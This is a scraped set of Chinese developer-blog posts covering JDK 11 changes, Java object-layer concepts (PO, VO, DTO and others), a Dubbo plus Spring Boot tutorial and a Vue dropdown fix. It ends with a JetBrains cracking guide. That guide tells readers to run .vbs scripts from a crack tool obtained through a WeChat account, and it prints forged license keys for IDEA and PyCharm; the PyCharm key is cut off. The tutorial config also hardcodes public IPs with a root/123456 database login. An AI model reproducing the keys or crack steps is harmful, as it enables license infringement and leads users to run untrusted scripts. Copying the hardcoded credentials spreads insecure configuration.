废弃 Nashorn JavaScript 脚本引擎、API 和 jjs 工具。Nashorn 是在 JDK 8 中引入的,当时完整实现了 ECMAScript-262 5.1。不过随着 ECMAScript 的演进加快,Nashorn 维护越来越困难。

# Deprecate the Pack200 Tools and API

废弃了 pack200 和 unpack200 工具,以及 java.util.jar 包中的 Pack200 API。

# 总结

  1. G1 GC 平均速度通过 Java 8 切换到 Java 11 就有 16% 的改进,但是大部分项目都用不到,一些高实时性的游戏可以用;
  2. Java 11 支持源文件直接运行;
  3. 已完成项目不建议升级 jdk11,或者新项目需要依赖现有代码,不建议升级 jdk11,因为升级版本涉及到大量的旧代码移植,代码重写,架构重构,全量测试;
  4. 如果 jdk8 满足开发需求,并且需依赖现有以 JDK8 开发的代码,建议还是以 jdk8 进行开发,否则如果选用 jdk11 可能面临旧代码重写,架构重构,以及一些不知道的隐形依赖;
  5. 系统追求的是稳定并非技术,jdk8 已被广泛验证非常稳定,而且目前主流开发版本确实也是 8,技术还是要服务于业务,稳定大于一切;
  6. 从 jdk8 往上升级会出现一些 jar 依赖的改变,模块化带来的反射问题,classload 的变化导致某些问题;
  7. Spring,Spring Boot,Spring Cloud,Dubbo,Guava,Jackson,Tomcat,JUnit 等等项目都适配了 JDK11,并且经历了生产环境的检验,才可以考虑是否将 JDK8 换成 JDK11;
  8. 8 之后,商用收费

# 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

【Java】关于PO、BO、VO、DTO、DAO、POJO等概念的理解

InterviewCoder

# 【Java】关于 PO、BO、VO、DTO、DAO、POJO 等概念的理解

# PO(Persistant Object)持久对象

PO 是持久化对象,用于表示数据库中的一条记录映射成的 Java 对象,类中应该都是基本数据类型和 String,而不是更复杂的类型,因为要和数据库表字段对应。PO 仅仅用于表示数据,不对数据进行操作,拥有 get 和 set 方法。对象类中的属性对应数据库表中的字段,有多少个字段就有多少个属性,完全匹配。遵循 JavaBean 规范,拥有 get 和 set 方法。如下图所示:

img

# DO(Data Object)数据对象

数据对象,与数据库表结构一一对应,通过 dao 层向上传输数据对象,属性和 PO 中的基本一致。

# AO(Application Object)应用对象

在 Web 层与 Service 层之间抽象的复用对象模型,极为贴近展示层,复用度不高。

# BO(Business Object)业务对象

BO 是实际的业务对象,会参与业务逻辑的处理操作,里面可能会包含多个类,用于表示一个业务对象。例如用户可以拥有宠物,在这里把用户对应一个 PO、宠物对应一个 PO,那么建立一个对应的 BO 对象来处理用户和宠物的关系,每个 BO 都包含用户 PO 和宠物 PO,而处理逻辑时针对 BO 去处理。遵循 JavaBean 规范,拥有 get 和 set 方法。例如:(注:User 和 Pet 都是 PO 对象,但会放进 BO 中,形成一个复杂的业务对象。)

img

但注意,BO 又包括了业务逻辑,通常在 service 层,封装了对 DAO 层的调用,可以进行 PO 与 VO/DTO 之间的转换。

# VO(Value Object)表现对象

VO 对象主要用于前端界面显示的数据,是与前端进行交互的 Java 对象,但这里是不用 PO 传递数据的,因为 PO 包括数据库表中的所有字段,对于前端来说我们只需要显示一部分字段就可以了,例如我们的用户表 user 中的 password(密码)字段、phone(电话)字段、insert_time(插入时间)字段是没有必要也不能显示在前端界面的。遵循 JavaBean 规范,拥有 get 和 set 方法。

img

img

img

# DTO(Data Transfer Object)数据传输对象

数据传输对象是在传递给前端时使用的,如一张表有 100 个字段,那么对应的 PO 就有 100 个属性,但是我们的前端界面只需要显示 10 个字段,所以我们没必要把所有字段的 PO 对象传递到客户端,我们只需要把只有这 10 个属性的 DTO 对象传递到客户端,不会暴露服务端的表结构,到达客户端后,如果这个对象用于界面表示,那么它的身份就是 VO 对象。

DTO 和 VO 概念相似,通常情况下字段也基本一致。但有所不同,DTO 表示一个数据传输对象,是在服务端用于不同服务或不同层之间的数据传输,例如 dao 层到 service 层,service 层到 web 层;而 VO 是在客户端浏览器显示的表现对象,用于在浏览器界面数据的显示。

# DAO(Data Access Object)数据访问对象

DAO 是主要封装对数据库的访问,例如 UserDao 封装的就是对 user 表的增删改查操作。

通过它可以把 POJO 持久化为 PO,用 PO 组装出 VO 和 DTO。

DAO 一般在持久层,完全封装数据库操作,对外暴露的方法的使得上层不需要关注数据库的相关信息,只需要插入、删除、更新、查询即可。

img

# POJO(Plain Ordinary Java Object)简单 Java 对象

表示一个个简单的 Java 对象,而 PO、VO、DTO 都是典型的 POJO,而 DAO 和 BO 一般不是 POJO,只是提供了一些调用方法。

POJO 是 DO、DTO、BO、VO 的统称。

# 实例

有一个博客系统,数据库中存储了很多篇博客。我们会做如下设计:

  • 数据库表:表中的博客包括编号、博客标题、博客内容、博客标签、博客分类、博客状态、创建时间、修改时间等。
  • PO:包括编号、博客标题、博客内容、博客标签、博客分类、博客状态、创建时间、修改时间等。(与数据库表中的字段一样。)
  • VO:在客户端浏览器展示的页面数据,博客标题、博客内容、博客标签、博客分类、创建时间、上一篇博客 URL、下一篇博客 URL。
  • DTO:在服务端数据传输的对象,编号、博客标题、博客内容、博客标签、博客分类、创建时间、上一篇博客编号、下一篇博客编号。
  • DAO:数据库增删改查的方法,例如新增博客、删除博客、查询所有博客、更新博客。
  • BO:基本业务操作,如管理分类、管理标签、修改博客状态等,是我们常说的 service 层操作。

参考链接:

# 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

【Dubbo】使用Dubbo整合SpringBoot搭建一个服务

InterviewCoder

# 【Dubbo】使用 Dubbo 整合 SpringBoot 搭建一个服务

# 文章目录

# 开发前提

由于 dubbo 的注册中心用的是 zookeeper,所以首先需要安装 zookeeper

# 构建 Springboot 项目

第一步:选择新建 project 或者 module,在界面中选择 maven 点击 next:
在这里插入图片描述

第二步:填上项目的基本信息点击 Finish:

在这里插入图片描述

第三步:右击项目 new -> Module:

在这里插入图片描述

第四步:在界面中选择 maven 点击 next:

在这里插入图片描述

第五步:填上项目的基本信息点击 Finish:

在这里插入图片描述

第六步:重复第三,四,五步,分别创建项目需要的 dubbo-api,dubbo-provider,dubbo-customer 几个模块,如下:

在这里插入图片描述

第七步:导入父工程依赖:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.demo</groupId>
<artifactId>dubbo-demo</artifactId>
<packaging>pom</packaging>
<version>1.0-SNAPSHOT</version>
<modules>
<module>dubbo-provider</module>
<module>dubbo-customer</module>
<module>dubbo-api</module>
</modules>

<properties>
<java.version>1.8</java.version>
<source.level>1.8</source.level>
<target.level>1.8</target.level>
<lombok.version>1.18.16</lombok.version>
<skip_maven_deploy>true</skip_maven_deploy>
<spring-boot-dependencies.version>2.4.1</spring-boot-dependencies.version>
<spring-cloud-dependencies.version>Dalston.SR4</spring-cloud-dependencies.version>
<junit.version>4.12</junit.version>
<dubbo.version>3.0.2.1</dubbo.version>
<spring-dubbo.version>2.0.0</spring-dubbo.version>
<lombok.version>1.18.16</lombok.version>
</properties>

<dependencyManagement>
<dependencies>
<!-- 统一jar版本管理,避免使用 spring-boot-parent -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>${spring-boot-dependencies.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-bom</artifactId>
<version>${dubbo.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>

<!--dubbo 和 springboot 整合的包-->
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-spring-boot-starter</artifactId>
<version>${dubbo.version}</version>
</dependency>

<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>${lombok.version}</version>
<scope>compile</scope>
</dependency>
</dependencies>
</dependencyManagement>
</project>

# 开发 api 模块

user 实体类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.demo.api.entity;


import lombok.Data;

import java.io.Serializable;

/**
* @Author: laz
* @CreateTime: 2022-10-26 10:56
* @Version: 1.0
*/
@Data
public class User implements Serializable {


private Long id;

private String username;

private String password;

}

创建本次测试的接口:

1
2
3
4
5
6
7
8
package com.demo.api.service;

import com.demo.api.entity.User;

public interface IUserService {

User selectUserById(Long id);
}

# 开发生产者模块

# 第一步:导入依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>dubbo-demo</artifactId>
<groupId>com.demo</groupId>
<version>1.0-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>

<artifactId>dubbo-provider</artifactId>
<dependencies>
<dependency>
<groupId>com.demo</groupId>
<artifactId>dubbo-api</artifactId>
<version>1.0-SNAPSHOT</version>
</dependency>

<!--dubbo 与 spring-boot 整合包-->
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-spring-boot-starter</artifactId>
</dependency>
<!--springboot 启动核心包-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<!--springboot rest -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-registry-zookeeper</artifactId>
</dependency>

<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>1.3.0</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis-spring</artifactId>
<version>1.3.1</version>
</dependency>

<!--mysql 的驱动-->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<scope>runtime</scope>
</dependency>
</dependencies>


<build>
<resources>
<resource>
<directory>src/main/java</directory>
<includes>
<include>**/*.properties</include>
<include>**/*.xml</include>
</includes>
<filtering>false</filtering>
</resource>
<resource>
<directory>src/main/resources</directory>
<includes>
<include>**/*.yml</include>
<include>**/*.xml</include>
</includes>
<filtering>false</filtering>
</resource>
</resources>
</build>
</project>

# 第二步:添加配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
server:
port: 8081

spring:
application:
name: dubbo-samples-privider-springCloud
#配置数据源信息
datasource:
#配置连接数据库的各个信息
driver-class-name: com.mysql.cj.jdbc.Driver
#设置字符集
url: jdbc:mysql://8.142.127.37:3306/test?useSSL=false&useUnicode=true&characterEncoding=utf-8&zeroDateTimeBehavior=convertToNull&transformedBitIsBoolean=true&serverTimezone=GMT%2B8&nullCatalogMeansCurrent=true&allowPublicKeyRetrieval=true
username: root
password: 123456


mybatis-plus:
#配置类型别名所对应的包
type-aliases-package: com.demo.provider.entity
#配置SQL输出语句com.winsun.dataclean.mapper
mapper-locations: com/demo/provider/mapper/*.xml


dubbo:
application:
name: ${spring.application.name}
registry:
address: zookeeper://43.139.86.193:2181
timeout: 2000
protocol:
name: dubbo
port: 20890
# 扫描 @DubboService 注解
scan:
base-packages: com.demo.provider.service.impl

# 第三步:编写启动类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.demo.provider;

import org.apache.dubbo.config.spring.context.annotation.EnableDubbo;
import org.mybatis.spring.annotation.MapperScan;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

/**
* @Author: laz
* @CreateTime: 2022-10-26 11:05
* @Version: 1.0
*/
@EnableDubbo
@SpringBootApplication
@MapperScan("com.demo.provider.mapper")
public class ProviderApp {

public static void main(String[] args) {
SpringApplication.run(ProviderApp.class,args);
System.out.println("生产者启动完毕");
}
}

# 第四步:添加 mapper 接口

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.demo.provider.mapper;

import com.demo.api.entity.User;

/**
* @Author: laz
* @CreateTime: 2022-10-26 11:01
* @Version: 1.0
*/
public interface UserMapper {

User selectUserById(Long id);
}

xml:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd" >
<mapper namespace="com.demo.provider.mapper.UserMapper">
<select id="selectUserById" resultType="com.demo.api.entity.User">
select * from user where id = #{id}
</select>
</mapper>

# 第五步:实现接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.demo.provider.service.impl;

import com.demo.api.entity.User;
import com.demo.api.service.IUserService;
import com.demo.provider.mapper.UserMapper;
import lombok.AllArgsConstructor;
import org.apache.dubbo.config.annotation.DubboService;

/**
* @Author: laz
* @CreateTime: 2022-10-26 11:00
* @Version: 1.0
*/
@DubboService
@AllArgsConstructor
public class UserServiceImpl implements IUserService {

private final UserMapper userMapper;

public User selectUserById(Long id) {
User user = userMapper.selectUserById(id);
return user;
}
}

# 第六步:编写 controller 层接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 package com.demo.provider.controller;

import com.demo.api.entity.User;
import com.demo.api.service.IUserService;
import lombok.AllArgsConstructor;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

/**
* @Author: laz
* @CreateTime: 2022-10-26 11:53
* @Version: 1.0
*/
@RestController
@RequestMapping("/provider")
@AllArgsConstructor
public class UserController {

private final IUserService userService;

@RequestMapping("/selectUserById/{id}")
public User selectUserById(@PathVariable("id")Long id){
return userService.selectUserById(id);
}
}

# 开发消费者模块

# 第一步:导入依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>dubbo-demo</artifactId>
<groupId>com.demo</groupId>
<version>1.0-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>

<artifactId>dubbo-customer</artifactId>
<dependencies>
<!--dubbo-samples-springcloud-api 项目 依赖-->
<dependency>
<groupId>com.demo</groupId>
<artifactId>dubbo-api</artifactId>
<version>1.0-SNAPSHOT</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-registry-zookeeper</artifactId>
</dependency>
</dependencies>

</project>

# 第二步:添加配置

1
2
3
4
5
6
7
8
9
10
11
12
13
server:
port: 8082

spring:
application:
name: dubbo-samples-consumer-springCloud

dubbo:
registry:
address: zookeeper://43.139.86.193:2181
timeout: 2000
protocol:
name: dubbo

# 第三步:编写启动类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.demo.customer;

import org.apache.dubbo.config.spring.context.annotation.EnableDubbo;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
@EnableDubbo
public class ConsumerApplication {

public static void main(String[] args) {
SpringApplication.run(ConsumerApplication.class, args);
System.out.println("消费者启动完毕!");
}
}

# 第四步:编写调用生产者接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.demo.customer.controller;

import com.demo.api.entity.User;
import com.demo.api.service.IUserService;
import lombok.extern.slf4j.Slf4j;
import org.apache.dubbo.config.annotation.DubboReference;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/consumer")
@Slf4j
public class ConsumerUserController {

@DubboReference( protocol = "dubbo", loadbalance = "random")
private IUserService userService;

@RequestMapping("/selectUserById/{id}")
public User getUser(@PathVariable("id") Long id) {
User user = userService.selectUserById(id);
log.info("response from provider: {}", user);
return user;
}
}

整个项目结构如下:

在这里插入图片描述

# 测试

分别启动生产者和消费者,在浏览器分别调用以下接口:

1
2
http://localhost:8081/provider/selectUserById/1`
`http://localhost:8082/consumer/selectUserById/1

结果:
在这里插入图片描述

# 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

【Vue】修复element可搜索下拉框选中选项,切屏后,会自动获取焦点,菜单自动弹出

InterviewCoder

# 【Vue】修复 element 可搜索下拉框选中选项,切屏后,会自动获取焦点,菜单自动弹出

# 1. 添加自定义指令 v-select-blur

# 在 main.js 添加:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Vue.directive('select-blur', {
bind(el, binding) {
let inputDom = el.getElementsByTagName('input')[0]
if (!inputDom) return
let isOpen = false
inputDom.addEventListener('focus', function (event) {
if (isOpen) {
inputDom.blur()
} else {
isOpen = true
}
})
}
})
# 用法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<el-select
v-select-blur
v-model="value"
:placeholder="请选择"
clearable
filterable
>
<el-option
v-for="item in countryList"
:key="item.id"
:label="item.name"
:value="item.name"
:title="item.name"
/>
</el-select>

# 存在的问题:

​ 虽然有效,但是会导致第二次点下拉框时,无法继续搜索

# 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

JetBrains全系列激活码

InterviewCoder

# JetBrains 全系列激活码

注:不同的软件,需要不同的激活码,千万别复制错了

# 本文讲的是支持 2022.2.2 最新版本的 RubyMine 破解、RubyMine 激活码、RubyMine 安装、RubyMine 永久激活码的最新永久激活教程,本文有 mac 和 windows 系统的 RubyMine 安装教程。

131-21010G6105IL

# 1. 下载你需要的 IDE 工具

# 2. 下载破解工具 (微信公众号搜索 InterviewCoder) 或扫码关注公众号回复关键词《破解》即可获取

二维码mini

# 3. 下载好后解压并打开,选择 scripts

图片[5]-RubyMine破解安装激活教程2022-09-26最新(亲测可用)-不靠谱程序员

# 4. 先执行 unistall-current-user.vbs, 直接双击打开,此步骤是为了防止之前有过激活信息,确保当前环境变量下没有激活工具的变量信息,可先执行卸载脚本在再进行后面的激活操作,避免激活失败。

图片[8]-RubyMine破解安装激活教程2022-09-26最新(亲测可用)-不靠谱程序员

  • 出现弹框 done 说明成功
  • 图片[9]-RubyMine破解安装激活教程2022-09-26最新(亲测可用)-不靠谱程序员
  • 然后再执行 install-current-user.vbs, 直接双击打开即可
  • 图片[10]-RubyMine破解安装激活教程2022-09-26最新(亲测可用)-不靠谱程序员
  • 这里需要等待 10 秒左右才会出现第二个 done 弹框,才是成功
  • 图片[11]-RubyMine破解安装激活教程2022-09-26最新(亲测可用)-不靠谱程序员

# 5. 然后再输入对应的激活码即可!!!!

# IDEA 专用

1
XIZQAN09CR-eyJsaWNlbnNlSWQiOiJYSVpRQU4wOUNSIiwibGljZW5zZWVOYW1lIjoia2lkZHkgaW5zZWFtcyIsImFzc2lnbmVlTmFtZSI6IiIsImFzc2lnbmVlRW1haWwiOiIiLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiIiLCJjaGVja0NvbmN1cnJlbnRVc2UiOmZhbHNlLCJwcm9kdWN0cyI6W3siY29kZSI6IlBEQiIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX0seyJjb2RlIjoiUFNJIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjp0cnVlfSx7ImNvZGUiOiJQUEMiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9LHsiY29kZSI6IlBDV01QIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjp0cnVlfSx7ImNvZGUiOiJQUkIiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9LHsiY29kZSI6IlBQUyIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX0seyJjb2RlIjoiSUkiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOmZhbHNlfSx7ImNvZGUiOiJQR08iLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9LHsiY29kZSI6IlBTVyIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6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

# PyCharm 专用

1
WDV7B5UM4J-eyJsaWNlbnNlSWQiOiJXRFY3QjVVTTRKIiwibGljZW5zZWVOYW1lIjoia2lkZHkgaW5zZWFtcyIsImFzc2lnbmVlTmFtZSI6IiIsImFzc2lnbmVlRW1haWwiOiIiLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiIiLCJjaGVja0NvbmN1cnJlbnRVc2UiOmZhbHNlLCJwcm9kdWN0cyI6W3siY29kZSI6IlBTSSIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX0seyJjb2RlIjoiUFBDIiwiZmFsbGJhY2tEYXRlIjoiMjAyNS0wOC0wMSIsInBhaWRVcFRvIjoiMjAyNS0wOC0wMSIsImV4dGVuZGVkIjp0cnVlfSx7ImNvZGUiOiJQQ1dNUCIsImZhbGxiYWNrRGF0ZSI6IjIwMjUtMDgtMDEiLCJwYWlkVXBUbyI6IjIwMjUtMDgtMDEiLCJleHRlbmRlZCI6dHJ1ZX0seyJjb2RlIjoiUEMiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOmZhbHNlfSx7ImNvZGUiOiJQV1MiLCJmYWxsYmFja0RhdGUiOiIyMDI1LTA4LTAxIiwicGFpZFVwVG8iOiIyMDI1LTA4LTAxIiwiZXh0ZW5kZWQiOnRydWV9XSwibWV0YWRhdGEiOiIwMTIwMjIwODAxUFNBTjAwMDAwNSIsImhhc2giOiJUUklBTDoyNjMyMTUzOTMiLCJncmFjZVBlcmlvZERheXMiOjcsImF1dG9Qcm9sb25nYXRlZCI6ZmFsc2UsImlzQXV0b1Byb2xvbmdhdGVkIjpmYWxzZX0=-S44u4zyBrYbltQAZezyCkBYsVU9HRftkKneJSWd2SsZMxgJiA1JfkhEl2yc4zrXBBqCCn2PKpaw8noyremrYtur0Iz93xp1geS6VSI4t5w5jgHR1CEUcL9Ia4BIl3CIMkxR3WXPrSGAt9jVitTmmCGGO9swTN4Hxey4iNNsEhkp8LDG949kRhN1ly00RH+p+rUP+FdVxwZ7e06rIV1c/8MGoJi4Z+7oyi+WnfIP+QIwxoNa60dzshI9Ep9d0p6bIR6eBKbNkfooWmp87mpOyN5QPupwF4q1KgS+LbFTeY/zZK6yP7tj+T2rbE3WI8MhnIviArGLs9DjZm20MwZTWvg==-MIIETDCCAjSgAwIBAgIBDTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTIwMTAxOTA5MDU1M1oXDTIyMTAyMTA5MDU1M1owHzEdMBsGA1UEAwwUcHJvZDJ5L